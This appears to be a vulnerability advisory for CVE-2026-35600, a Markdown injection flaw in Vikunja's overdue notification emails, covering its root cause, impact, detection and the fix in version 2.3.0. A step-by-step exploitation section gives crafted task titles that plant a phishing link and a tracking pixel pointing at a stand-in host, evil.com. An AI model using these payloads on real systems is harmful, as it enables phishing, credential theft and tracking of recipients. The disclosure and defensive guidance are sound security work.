CVE-2026-35600: 
NixOS vulnerability analysis and mitigation

CVE-2026-35600 is a Markdown/HTML injection vulnerability in Vikunja, an open-source self-hosted task management platform, that allows authenticated attackers to inject phishing links and tracking pixels into legitimate overdue email notifications. Affecting all versions up to and including 2.2.2, the flaw was disclosed on April 9–10, 2026, and fixed in version 2.3.0. It carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, Feedly).

The root cause (CWE-79) is improper neutralization of user-controlled input before it is embedded in Markdown-rendered email content. Specifically, pkg/models/notifications.go constructs overdue notification lines by directly concatenating task titles into Markdown link syntax — e.g., `* [` + task.Title + `](` + url + `)` — without escaping Markdown special characters. A title containing ] and [ breaks the link structure, allowing an attacker to inject arbitrary Markdown constructs. The assembled Markdown is then rendered to HTML by goldmark and sanitized by bluemonday's UGCPolicy, which intentionally permits <a> and <img> tags with http/https URLs, so injected phishing links and tracking pixels survive sanitization and reach email recipients. The same unsanitized pattern affects multiple notification types at notifications.go lines 72, 176, 227, and 318. A proof-of-concept Python script demonstrating the attack is publicly available (GitHub Advisory).

Any authenticated user with write access to a shared project can craft malicious task titles that inject phishing links or tracking images into overdue email notifications sent to other project members. Because the injected content appears within legitimate Vikunja notification emails originating from the configured SMTP server, recipients are more likely to trust and click the links, enabling credential harvesting or further phishing attacks. Additionally, tracking pixels load silently when the email is opened, allowing the attacker to confirm active email addresses and monitor recipient behavior. Availability is not impacted, but both confidentiality (user tracking, potential credential theft) and integrity (spoofed link destinations) are affected (GitHub Advisory).

A proof-of-concept Python exploit is publicly available in the GitHub Security Advisory, demonstrating the full attack chain against Vikunja v2.2.2 with SMTP enabled. The exploit requires only low privileges (an authenticated user account) and user interaction (the victim opening the notification email). There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.03%, reflecting low current exploitation probability (GitHub Advisory, Feedly).

1. Authenticate: Log in to a Vikunja instance (version ≤ 2.2.2) with any valid user account that has write access to a shared project.
2. Create a malicious task — phishing link: Use the Vikunja API or UI to create a task with a crafted title such as test](https://evil.com) [Click to verify your account, and set a past due date (e.g., 2026-03-26T00:00:00Z) to ensure it appears in overdue notifications.
3. Create a malicious task — tracking pixel: Create a second task with the title ![](https://evil.com/track.png?user=bob) and a past due date to inject a tracking image.
4. Enable overdue reminders: Ensure the targeted user (or the attacker's own account if targeting others in a shared project) has overdue_tasks_reminders_enabled set to true via POST /api/v1/user/settings/general.
5. Wait for the cron job: The Vikunja overdue notification cron fires at the configured reminder time (e.g., 09:00). The notification email is assembled with unescaped task titles embedded in Markdown link syntax.
6. Victim receives email: The rendered HTML email contains a clickable link pointing to evil.com and an <img> tag loading the tracking pixel — both appearing within a legitimate Vikunja notification from the trusted SMTP server.
7. Harvest results: The attacker's server logs the tracking pixel request (confirming the email was opened) and any clicks on the phishing link, potentially capturing credentials if the landing page mimics a login form (GitHub Advisory).

• Network: Outbound HTTP/HTTPS requests from email clients to unexpected external domains (e.g., evil.com) triggered by opening Vikunja notification emails; tracking pixel requests to attacker-controlled image URLs embedded in email content.
• Logs: Vikunja API logs showing PUT /api/v1/projects/{id}/tasks requests where the title field contains Markdown special characters such as ](, ![](, or URLs to external domains; SMTP server logs showing overdue notification emails sent to users sharing projects with the task creator.
• Email Content: Vikunja overdue notification emails containing <a href> tags pointing to non-Vikunja domains, or <img src> tags loading images from external hosts — both appearing within the legitimate notification body (GitHub Advisory).

Upgrade Vikunja to version 2.3.0 or later, which introduces a notifications.EscapeMarkdown function that prefixes all CommonMark-special characters (including < to neutralize autolinks) with a backslash before embedding user-controlled strings into Markdown-rendered email content (Vikunja v2.3.0 Release, Fix PR). As a short-term workaround where upgrading is not immediately possible, restrict task creation and editing permissions to trusted users only, and educate users to verify links in task-related emails before clicking. Implementing email security controls (e.g., link rewriting or sandboxing) at the mail gateway can also reduce phishing risk from injected links.

The vulnerability was discovered and reported by aisafe.io and credited to researcher adrgs in the GitHub Security Advisory. The Vikunja maintainer (kolaente) merged the fix on the same day it was reported (April 9, 2026), and the patched release v2.3.0 was published the same day, noting 11 security fixes in total and recommending users update promptly (GitHub Advisory, Vikunja v2.3.0 Release). The NixOS community also tracked the issue, opening packaging update issues shortly after disclosure.